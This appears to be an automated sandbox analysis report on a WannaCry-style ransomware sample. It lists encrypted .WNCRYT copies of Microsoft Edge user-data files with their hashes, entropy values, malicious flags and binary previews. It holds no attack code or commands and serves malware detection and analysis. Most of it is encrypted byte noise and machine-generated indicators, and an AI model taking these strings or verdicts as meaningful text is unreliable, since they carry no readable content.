                                                                                                                                                                              Preview:WANACRY!....y.\..."#6...\..Y...0..~l.00..X.S..s..... ..WY..$.q.U.....q..=.s....|b....Zy....k..!.Qb.0.\.3..A../(.......YT.....6'9'e.Q.[..%....:.=.........,......:V...`*@r..!{.d...N%n...!'..%..,.F....RI.SK...D`............cm.3.].I@.v........(..,..9G4]!...IN......*&........}F.o.....L......AH..._.aj.x.K.}$.......G..&4.......d}..T.H3c.(.".@.7H............U..I".cv..X$5....Q...\....l.5.DKG....@m.N...sq~!..5..5.d.<.U9..Y?GE.+...D.......-...<c.f.n.)..;yr"G....AS.[.s..%.-.).IZ+G..<U.E..*.....4../1.........6*.7.R....i.a.r.ti....4.b...d.G..&..)..['6-1.ac.(..82...*......"o...|6...Ue.|..(.....<...x....~.5hkV....u.}u"...C.\.....n.$..../.-.".c.....+.v...T..e.....l...^..........~.%.mF]..6.}5...[_c...Pvn.C......n.p.~wU...HA[uYM..I.4....,|.`.T}zL.m4.h....;h......K1.._."...b.......^=..d....`.!...2..e.G.J.e.t_...'k?.....~..C"I..c..'.....;.i..Y..Vl<.. ....g.........X..>."9*..h"n.j.b..x`....O<0~.o..0.jw@t.'k.".......~U0V.[.u..7l.3.d{1.....I.....<...T.U...q].l)#

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.986757593181292
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:KD3Vg/u+qeJzL/7LiHyI5jXq72t8XvrkPyxm25I0RqiT:KDFqLpJPPiHD5rZ8v6mak
                                                                                                                                                                              MD5:ADC569FF4793EF8882E04C027D2B5761
                                                                                                                                                                              SHA1:ACA982C33FE3E354FF98267D71F23DA957042254
                                                                                                                                                                              SHA-256:99D4809030C46730ED3BDCDF1AE23E8674843156E235B2E64986FED2C72EB491
                                                                                                                                                                              SHA-512:091B7A7DFE0822CB0E7F026F710475BA24AD17381E91AB3E4FCB812B13F388B5B54616A7674FA48D7BA58D3AFF05D5CD5C412DD81566794EC7743F62A4A27268
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....tZ..Y....z.,.'o.......,U...2`...|.?/...=..*Bs ..W....{..=...|..H+.,...H...*..o:..7..%...2.U.....w....G,..u...+J......?p.lNE.n..\c0^.ovB^...j...8oG.j.J.`....e.`5..G.zf.Of...F..7.e....9.\9V..B%.H.^.../...^.%c(`....c..8.j...SA.5.j....|.g..Ax.@.....@.........oY).I1}.-....Ni?.........>.,j...Z.t|.{.P..n..b.^7...4.'`..6 C....K...-cR.}..Kz.....f.n....R.t,..T.....j.q.UR.).;....K..m!...3f...B...{..MuYZ2..:,......,A...5U;O.Nd.|..e...9.m.....1.|..(....s.&..+...)*{...L..y.s'H..3|".S..s....3....*..zwS..P...h.3.;k..T....N=.*.Q...r.$r0jc&.....;=..]...D.n..y.8..Bt...m. ..I......... R..6.\W.4..Y..%.,.z....vf)...X...5...R..%(&/..0....=A8.._=n..+.,..m.....S....:.Y. s...Pw.R." ...X^a2y.@'..j.'_.>.d...G.8>~)+.g..k...1.~KM./.P.1m...7.`.....PV.H....(8...L.u..C.il..C..T>.....a.....!.+..P.4O.......O.....P.|.......[..q..vQ.W`]....~.9Y...LWc.."..c<8.U.F.....3.....&g7.A.^X....8z..r.x...P..0F.Q...7..Fl....Y..n{.......Y=..3.0...U........N...<

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4376
                                                                                                                                                                              Entropy (8bit):7.96113106139513
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oeIxZ6iC4WvJUV8aKFvYJfz8JlAPSY3vLF6gwRXOYkcBC6lvKnt2wa:tiZJHAv7AP3TQJRXjk98Knc
                                                                                                                                                                              MD5:96C660EADC9E728C9B2B30CD8374AAB2
                                                                                                                                                                              SHA1:2FC69A4878A4569817690B6F65F1B4B8A55A7A6C
                                                                                                                                                                              SHA-256:9E27CFF41DF9C70427A1BF152ACD6CA155EDD4DD5C6A9132E9E7E98BD02FF62F
                                                                                                                                                                              SHA-512:BEBAEDF81B59426EFB4B2E7B0F56F5E3CD57915F085D38C687B350912BF8B9BC6FD82E47936DF5A73F1FBEA9F1C99A955FC5247B42470064A4B30E0574E0C5F3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....u.m.1....:...Y......Dq%.c@j...|]1.......W..PG.#....IaXI....\.b...\..1?g....."|".V...3..@...P....u.?5F...a(.ig.t...A..~...3..T./...'${!.L....IQS...`.@.X\..: .r.I..s....24...g.yp...a.+...[.U#..v`bws.`Q.?.p..-...pd.+..=r}.**.G_.]h...A\^......l...R'..............#.....q E.......`(y...E..5.`s.C.....Z...e...N....8.5.....x.60..0>..9....>b.5.!.'...`c|$(...w#"..%%.t*..{;.~...|...5.pf.\..Z=......S0.d.J4...N"..R.K/.(.9.FA.=(......O..P.....}..5.l..V..LC....e9....0..v.Q@...N...O..F:^..V..U.A0.M.Q..X...Ce.3ij..]WBR..p8...].Hx.l..I..|...A..1..=..Z...o...Yn...$...j.N...B...e.'....(..w".$M!}.g7...A....Al....+R!.....5..g_.W:.o.V.[...p...%i.F.8...........JRM..%m.../...=YNO.F.Dq.....m..!....LZ...f...z.+te...w......T...o..Kc....}.J.;....XV...}^..k...8Z.r>eR....r..(._..m^...@.[.<...4..g..<..U.X.*e%.U..p".&..2..k..~.Zxu.D6.z....v^V......%.G.Ne$YL...Q.{.1s..7....-{.H.....|..\...xf.f..DHo.)#.$.9[N..%."s$c..k....E.:].O...o&6.n...<...|_.f|I.?...?...q^T.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80488
                                                                                                                                                                              Entropy (8bit):7.9977462288763865
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:lcVTJftDw6Av8MqBQgy51Hr3HmF9w3aJiO4Wf1XmhNyneq7DiBPw5G2Uljo8ByQ1:6xJXE8bZyTXmjGe1mTEDhGljlyQ1
                                                                                                                                                                              MD5:FFB0EBF8EB3DBABE11807A4D043DDB16
                                                                                                                                                                              SHA1:AF3DAF7342268A9CF40A9F5E2684F43B9C52DD6C
                                                                                                                                                                              SHA-256:124EB6889A1342BD56CDA92A447FB56E2477B52377F180ADEE4942D26ECC185C
                                                                                                                                                                              SHA-512:23BC39A91EC6E1C6F4059D0054C7BAE8DD4631DC3CAA5F30282F2C35BC910AC5033B5BB294D5A1898C830DFF0795D64334DC0ADD0D4FB128F9ED1E55F1F1E4B7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.....2..z.cw.KvW......&..JZ....t3......A..i..C.u..N.I...m..S*..&..S......p.....E..AI..h.R.W...d<...^.....4.\f./>n.W...&P;...3xe.c..cO....6.]Ve~.....$.d~v..-..J;.... .5.?.....&.......N.....p.....&...........=Y..F=.p.f.@.//.[....T.!e.e....q...Eg....D9............._a...K'r..F...5z.Y............x.o.YY@.fS..,...]f............>C.........r...h=A,..;..k.{4....I.7p..J.r....B.g...@v..;eV..7F..P[.1.gwN.D....[.K......./...l.Pu..|{o.....#..)A`8zE.....x.l........x..1.9..U...).:U....6.(...x.E..A..o...u..........Q...h4...@...........E..'.V..\......qU..AhL...9...nn.`...........<.S..Eo.C.X..l~........pD.C6u4...>.n.B..$i..V.{.{...<q..!.2.f...;.%C..0...v..9............,6.|...f@..E.!...e..d.\M...K..1..`...@d.......N.3..u7*..>..m..CD*n.[b.5...7...Ez..D#.m....O...#..2.ay)...sz.^.i..dV../.;]s..P......vO..X....;...b3.....$.c,8....g.<.5.....J..k(..T.$@...Y..6M}...0..L...R2K.H...bC.o:.Y/..Tf`D.G.9..d......$..tFa.....Z........`I.=6Fzt.Z.c?`4.s...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11848
                                                                                                                                                                              Entropy (8bit):7.98661582200203
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:VL2PWfpAnWlq2xcfabJxGq5oVqg5qqeAIayq0xP/O6Wv2T7sHxAdsdAwLzGMzUQD:VaPWh62ifYJMLZ5neAIrOFeToRcHQzGK
                                                                                                                                                                              MD5:FECB77E5998CBE7E0EE81078C187E3C3
                                                                                                                                                                              SHA1:552074B75D4996B6929A4A6BE31793DA03B04493
                                                                                                                                                                              SHA-256:2C32E934B9B12AD3BB8F2EC8A50B1ACD540C5A606F5C9FC45FF84C88263EF6A6
                                                                                                                                                                              SHA-512:FC80E9D9AEB64FAA8909463FD429D20B40823D16335460F13E29A1D5E14718DD369B9E86A82150AE6F01CFCCE4007C1694F39E367A7F24866F1144489454F664
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....av...\............['.d.&;.....t[.(...y.w.E.).f.e......|.....7...j...#..z....}B..b.....f..k.............9.E..v.}l..F..Q...3..xt.-.r.0......y...m.H2.&......JH........i.y.Z...Z....&...c..|..g~.T...z..$. ...DP......u.}..A.s...6'...-...u..:........./-.......cr4}b......W..I$P.....S9.....J.hNA..EO...H."...n.!g..;w.f..~.y.Nn.S^/@+...{..Tj....2s....cF.....$T..1..H....nL...Q_.F[..I.k....z`.@....*..0.{LmM...`..}...o"I5....r.V)....H^.-2.54I.DS>..4.w.0.v..2.58&..f...S8.vK.. e.q7.&L......Yc..P..f$..{......M.UR..........Gn..d.".[..2l.p.L-Q.k.1m.:Mg >..U........3C-...Pi...7&....Y.C.s.NP.R..|....5..F+x...s..!u^}t.Sg...._.../n.V.F .,...i..!.Q..%Vw. 0w#.3..6.f...#=..F...3.,..} t..}...,..n..V5.Kr...U.M..p......|rOZ.@,.#-.H..[...{.hvr....V.. Fn'T.......mEt&.._..#C|..]:..N.....O.#...z.0.Q..k.../'..2{!T9.-.Y..^0.,.:1....,.y.oM..IN..l..mk..R...G.i..G^..eC...$8y6t.Pf.H..s.....l.J.w....^..z.~....F.1P.>..>...eD..,u.....wjH...[z.f9b.h9...Ie...;.JT.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1179240
                                                                                                                                                                              Entropy (8bit):7.999834850192686
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:ZdN1QpIjtEk3tZLr/gEBCESCSp8IPa/uOPpSmrKK+juxkTk/3suWb6UY:ZVjtx3tZLr/g4CK3uwpSo+juxzfPWGUY
                                                                                                                                                                              MD5:AA0E9E125E9DDDEF2580F414919C144D
                                                                                                                                                                              SHA1:C5C47F0495946AFDFC64029554D5F3B3F943E775
                                                                                                                                                                              SHA-256:1698A53FADBAEA71534358EA357F82E256371B6C5C1D76870E6A5A8BF2032E90
                                                                                                                                                                              SHA-512:055621E83ACBBB037CE5C0FF205327D1865C3EF4246C12A243B4EF04EE97D064B48DAA0B883E9A8F436B29B2967C45B25F56F8E49066960014AB9112E2F30DBB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......Y..G..vx..V..I;9/.>..B...h./.|WD.........\36.g....+J....(0j.............SNO.G...D....U....F.b..Ka....e.Q)X...b..k..;....)...7.T.fg.DT..d..q....W-+..7|..Er. ..4...\4w.z.B..f..'..(wy)...G.j.k..\........vV......... {9X=.........,w..[.(..3....)....D...........C....7.R^+h...L...2v"..^.J.WV..5..wy.\... .y...........Lu:....@>...hD..n....5h.S.K\..{...l...p..Bg..*...z....5.X.9..s.,.(&%*;f{p....M]...O.<.b&\+.)!...F...k8P.@......r....&.J...J.|.?7..~..C...<`e.....|M.&x.nH..~.H..,..0._..........f.....K...._'...\2.......K..*.~.X[..+...TP.....V..I..B+..W...).E...Y;.....]9....#cm..dnc.<.C.%...].....S.....&.g..a.n......0r>.a...Y..#........hm....He-..o..... .;..E.pV...[r.Dhr..m.S..iz&.q]l6>d..xT...k..gI....X... .Z+..fe.*."W.H...........g.oN/w.DT.3...A.....6..(44._.\ .../..8.w.~...x.@.....Q.&.`...67...I.Z..[. ..d..B....1)B. .....`..Z.(E...J.!......=...wk.........;...;qO./.(.....Z^h'I...l...U*..o.s.,.L9L...v.s......JD......#.@.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1010680
                                                                                                                                                                              Entropy (8bit):7.999804828009464
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:rEoEkt7/PFzPM0l1jK8iCeRQeb9JPt8JFbIcCu:rE0FhPMKiXRQw8bR
                                                                                                                                                                              MD5:67E301927D05A14C8E6FEB08627E3611
                                                                                                                                                                              SHA1:E4216D1C20993B95E3D4B9725FF526AC74B31049
                                                                                                                                                                              SHA-256:8CD41CF5333B1133AB103499F184CE3F6CB02935B426A5554DE8265C455A579D
                                                                                                                                                                              SHA-512:E9DEF98F40EC11050C4020324EB4747FB5C246F1D4194EE3C301E8D517A50BDD7421213EEE9397946E0410E92900799050CB2A138EAC7E262BAAA9BC00E18CB2
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........<.......g...DO.-I...C...P..ct1......^....,..a_.I.....Gx...D.S.lA.......60s4+..O..1$....x~S.=..S6.XB...a".Oj.,..}.]..t$.B..).5..oV..c..~l~6.."...9........o@...l.J.K...<..;=@.dd...v..U......IQ.Q...+S........$D.#...K..MH...c.4Sqz.P.....j.......x-...e...V...k1.9.....>..........?.LF..I.q~....B.....Y^k.{(.S..a."..$.......T.&..3.....r....n..D(.b.$n.V.D.}I....*V.....g..%.mKS.....n.&R..*.dK.....t... `..Y"..........(_..}.....1......7t .....@..@.R.9J........~`..R....5..}~..d..A9.v.....u....[.?....PZ.+...<|..(O....5..n..'...P.......E-..b....Zs.f...h67.}f.dBy...o?.R&-G.o.Oj.J]..L..\..w1.jN.%.l.....g.r.....h...+..eB'..Vj.......P./f.\.Q.8...lC..K....md...Z..G.\.......b.Y.6......y...{&......:......*.I...D.6.N.R..4lau..z...!XB2M....=S./...dG.....5]....|.R.hpr.......9.L.{....%.~..>q.....SbDvs.........+..~..J.3z.;.X..\m....b....._o....)......<)E..cy....&e.....t..T,.B7..T..5..W.......<.+.j.dI..c+......Z..VD#..PIi...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1042184
                                                                                                                                                                              Entropy (8bit):7.999821874315001
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:rj+b0LEvB+zqsrACDz4wuEApTzNv+7RlmXsG2cpI9g0yCsQ0u:rjLEp+O5CDxuBz9+DBEkUCsQ0u
                                                                                                                                                                              MD5:6FC3AD9FA89F9298D5D3D9F06E7D6C62
                                                                                                                                                                              SHA1:115346D1768825B935D76DF5B24C5A3D366F9070
                                                                                                                                                                              SHA-256:1909D9658D3FB2D1B8A487D9390AE738B5A983BBE772B43856103D8E2B0A014D
                                                                                                                                                                              SHA-512:8D14AB4B6DC6983DDCA0823A6F09AB593B9BAF9952A9139EE0CFCE92F58262D015FD72BEB21F4E0DD3394765C3CB6E0B927DC8F88DAF7C011587B30C5A434668
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......uH......<.Rd...m..w[q.>..TK.Z=.....N...at.+......"j.~q....Wy....w....l.NisS..._.*.....*........d.u.C}...)-.?.[%P....!jK.-U.n..<CH..V9......z0GE....5........x.Q....Vv.%..;........[..X.m...?:........G....6ys.`.[..5?..rQ.=....\q.%.Q.. ....5..#................'...+.XF..9.....3.....#.6...t.<^Y...f.y;......8...P.M.C."..`.*h.oU~...1.R(.....B.c+.....Aa<[.....R..6.....M!..S..d3.9T.h.4...n..]......+_p.....:2*c{'.H...2....2..%?[(.k..f.`....v.%Uc..]..v...-.4%..U>.?.a:.(.....:t.f...wa...1mrz..m5....4.....Y...*......ag......./~Yt.jIU*..u..I..."..U.~o.....q....F,.R.7.....2.+..8..x.....N.(-.Z1.$.......J...&...+..4..u.(u.p.i|..m.1o5....q$.Y..?%e.V.1.....P.Th.(E.E..........%..;.n.:UD.....E..-)fX5X{3...9W2.i....s..e%!..z26....}\...J.a!.eMB......rK.u.].J.ox..M......[..c..8...v...c.......i..=.Fs...-.^Z< ..:...(.d;.bM...t.d...v..B.Mx.$.......k.b....\......T+..P.j~.....VG....Y...L...c.Odz5{.q2>l.Z8....!v ..m$6>..........1<.Y.9......{bd.......4

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1681000
                                                                                                                                                                              Entropy (8bit):7.999891209729944
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:MI3F2rKfmsBsIfdUMksW/tpcx/hmYibzs:d2yPAs08hgns
                                                                                                                                                                              MD5:6B846B95874BFC5097678D7ED8EB383E
                                                                                                                                                                              SHA1:4EED65531513A035BA1C0C9C4A6EB7D1425B612E
                                                                                                                                                                              SHA-256:E690F2C81DD5F07E3C5ACB273431BDD8C13415DF5230042084C4E2C7F4DC93BA
                                                                                                                                                                              SHA-512:6F1C4577D038A4B2D810C9235D906F97AB9C8BAD556EB2248E23FE2C70E0FC3D01F8BFEAD7CCB83875276F97FC6AF400570E1938059A9137DD0EB7CE48EBFD92
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......v.............`..._..xz[.:.m....1.=.E....D*...S....B.'.iu..I{.:.4.wr...2.b..(&S[>.V.-...QE...r...qj7.*O.S.l...'.h...)G.R.(p9X.....![I`.^..9.gr.`...(#Dt..D.....8.n.$y..%z....:\-.....h%..`...]..S.5N..$p...#.......L.KM.C.p.Y.vY...:.....2t..ru.4+X.......K...............=V....+.j~$r.....i.be..vg.3.)...!.1.N.....1n6."...#....a.].....J....C`.w..2...cGS....=w.........-..8...V`~..C.E..DO0.2hp..`.}N.?.9...+$.^..m..=.....a%...b........h."me>.'...04?.c.7...*`{W."..Ct...#.q......?...+m..P....Z,S...0.6I.,"...D$.z..&~Z.[....|.@........Br....Cba....DK;........S"..)..<!.5hzW..~..e...[.#i.8.S..Ns4...%......>i.9n._x.q..*=d._)..........1.....dH.......k....o....N.Okl.S.6......(E.W.]..P.:.....L.^.c...~...=...s.....v$.yF.j`Url.DI....t.d...;...2..}:Gs....2.9gX.5...........I.....~..uGHP....6G...s...mCU.o..Hmk..t.....w...]9x..@.x_$.+w....o:.O....p....d..l"Z.up..K.C....;r....J..pd....v.0)..."..'...`7@.?.K...;..E~..3.R........3*..G...Q.6.@&?.AN$...Z..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80072
                                                                                                                                                                              Entropy (8bit):7.997717385275573
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:ZLf38XXZWLSYaMQxHjm76pHUkgus/Yg3HyJXceKeRVRbm:xsXJFMp76CQGkXceKepK
                                                                                                                                                                              MD5:61191E3F891504A4CED7913B5A35993B
                                                                                                                                                                              SHA1:7AC3367E5AEDB3100EF3A1C4A160E18ABED5605C
                                                                                                                                                                              SHA-256:6C89BAEA281AA6940F0DC34C377D5861ABCD215EFAE92D103CA71674DA7F3922
                                                                                                                                                                              SHA-512:B98655272F824F347B3662576FCC8772F2636B57A7212FBD5D8E9267F0AB99DE8C7492B47ACD9137888790DEBA525FFF2C82045FF9D5117F87FEDC012013BE7C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S.s....4J...`.B 4S.T.\.....q..."6..Px.?.KQ....N.8f..........#m.....,._.......y...=..X].....v6[.;.<.(.r;....#..U...7....5........7.....xt@.:e B0.t<i.v/....b.Zy.Vg6w..AK84;o..62c.i..5.4L...}..........j.Y/....+....... Ex]o.._....B.{..y]..X..l^l......7......%....!....OkE.......L...J...|2..........u) Ml....zC\~.....3..c96)...SZ.#...3S.LX.\.[9....?.........]].O..K.....[. ...M...."G....d.X.|....M.H..,.U..&...a.DT.qz6.eSp.....0...' ).6<S....X.j.9.....U...d#A<...l....!.FK.1.5.m.pW9.....xS..(#).x#.+>:?.b.6..L.....#.v.D...N..9.Z-...).......^..p.e..z;.D6B:..&...pU.s.R..v..!..N.U.......}....+..K...Y1.......2.g...(... }.....'.1".y`s.C.+%~..!..@.2U.v.:...9..b...+...*&.B..y.J~.X._.9.f.Q.....C...4..[(.......$+F..Y...{...s}.-J..*..S.a.....0AN...w.Pv...*U....H[8.d!1..BH.8s..gisK.t......&$.e<.3..............l.C.B#.5Zq~)M.u..).*......].-..U.X....yW.d.3.J...I..)...C8..Dr....j.........v0....%..e.9.L.K..0..r.*2n.....\;.)9[.m....eH..?...w....

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):988600
                                                                                                                                                                              Entropy (8bit):7.999829746069574
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:7q9e4K+fD83x5ab5pPfVOqIuQYsFg6ywE48T4y4dTLiPINk8Gakd:7q9e4JDgxG5pPfVO111DEJT4yINk8GaS
                                                                                                                                                                              MD5:9F06DD51EFA737B20C447AC584D1B490
                                                                                                                                                                              SHA1:ACDF3CEB1900B71DE527C727736CC09243815394
                                                                                                                                                                              SHA-256:7ED1DA4E1A0E5B2C267C8E7FAD027BB52032051F5C92954EFEB4C8A4BFFEF0B2
                                                                                                                                                                              SHA-512:40DB984C0ACAE1C41CB46A0D03EBC14947ADD8F012B5C3090AA7FF731C4D9B1E003FA1AD99F0F3DDF8A5B71A7846F6619CA3917DCB2267351E725C7653E1497D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......P.;...T.o....`...a5.|....V...h..Sx.,SI.4....%.s..`.|.....R....r#..I!^....(....B>.dy..!..B.rN.vx.X.}1.[..lC..*..0..U._.wd.........+.m.7|.0..W.,...n....C.b.O..-.....g..M..OG...0.c..Ut.eY|XkW.rDvc7E.W...\.....Z.!.{....q.....g..E..F..?.Z..nCCv.....................}."......}.....^...2.....P0...z+.....=s}3Z..V....p6...KH.....95......}..n......5.*".....c..qK..Rr..*x.F4...T.l\.`.4v3.4*..O.Wp8..{...v...V+....}.,...,P .f.......#...@V......K.r.L..u..CL.pPD8wP..\.r....D"#...t.d,5$..d.T.B..z?.;..)N.,.S..Z..Q......w}........w$..F....d........6....0..@..%..,3.']....P...,.#.>.x...2[w..<..1.!.%...|B......I.|...E.T....Z.U.F..s.k........J.R0...x+..N..!...)..1x......?..O....<Z'>[.......-....M6..s.JT#..G.4.,B..L..\..9.p.kL..v...Q/A."A..O])...5...o] .=..zy...ixa6....?.9.$..;.G_.j.....Vp..r[...m..(.9'H..&7.......*.:..u.)3.....|.}....F....o.m.wo.^/,.....`..J...SE.-.Y.......u..M...T...P..#}m.`.Z.F....k\.....N.E.M~...v..B0.9i..9......W.T...:.2.......V.?.F...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5653560
                                                                                                                                                                              Entropy (8bit):7.999965746207947
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:eBNX43zPQejiI1xGneWsg5TluLT9Bz0dsmmmkKCax67F:gNo3zPQvIPGTITzz0immn667F
                                                                                                                                                                              MD5:9BA0A6550A0923905B92C13B8F75E7C1
                                                                                                                                                                              SHA1:910DAD9305B13C2D4DF96A02AE3925A5B8AFAFA2
                                                                                                                                                                              SHA-256:5CC6EFBEED262ADEDEE2BE40E472FA920742550943C258D754F6F2649870167E
                                                                                                                                                                              SHA-512:CADA97D47CC07F1413F0403E72C9B8823DAE2C11358C61FEDAA67C164DC5FC37E34A84BF1181A5A2FCAE35DE601BA5B669EA73F136CEDA41FD368491287AD4B5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......j.v1......!p+.]9.../B.h...s...X...C..V.28.,IZi"..-3...0.":.?....Gy.ov>..Q:\....XT.R7..JIwG.....:v..-...J} Q..t<..lK.A.t..u .g.%......:.DNqD....v..3..*'h.;%..m.=}..wP.6.]..~.qV..b|h.O%0EE.%>1....'h..2.N...@.B...f-t...c]=...2.d.(..u;.i.,..>.V.7.....CV.....<R..w4e3.Q3.ydV.G....X9...X.M.7.p..\0.Ca.......$.!....E.Zm...K...r}.......Y.U...=..a.F^7.&:.P..;C.aht..bV.pY...l.:`b......\.*He.z0....b.j..+.+.vj..9..Gv...f.o..)..c.....H.b.:./bz..+.G.lZJ...n./7.sN2......I.d.@..<U.@W].GC...\..p.!?c...=^...g..=.....&.t.c.....wC.......bP5.0.-..:.[hy..4d.D..+.74...F...z8. .}$f..w.TsV...TyJ.....W..KV....w.f.R....iW.3.r.S....#...\.d.+c.B.c../-|...$.9%..z.0l%.ee..g_.....T.?.......:..!.N..Y..h.......U.}...q..6P..;?`.... y...`.z.....?.)...g..*...y......i.9w..5.].GP.>G.P.6.e{J .....=..[a......=O....u.TN...2nj.`.+h.]....]......IT....!9..K....3.u..0..s(...Y.7....n=..m.c.'D.ws..Jv.q...O4......#JG9.:.M9..7c...[.VY....J..<.f...N.iv^.5A;;..*%1k.....~i...#

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12216
                                                                                                                                                                              Entropy (8bit):7.9859221704805465
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:CreTqyV+7eto8w/jPHa/pmNUC56yblFc42G0d++vIek7imZL7BKBQTLK1RBiRLF:+JyU7eKv7PHax+56Cc42fdNu7iK7MCLj
                                                                                                                                                                              MD5:E6166DE12D1A9DED3C30F8AA67E8DAD0
                                                                                                                                                                              SHA1:D7E2B4B63DA4DEE607E5774ABEBB9FC504D5F0FB
                                                                                                                                                                              SHA-256:0180238C02734FC3922917FD95A02BD92BA87734B8E6897DF9B102FF9AFEA19A
                                                                                                                                                                              SHA-512:B69E395CFA09B91100BD40140154C707C719110C120BE614252CC0CA4F0AF3D6BCFBB4120F3AC3CFC951BD361CEAFF823DEE827DF1C83B7B67104EE53D3C80FF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
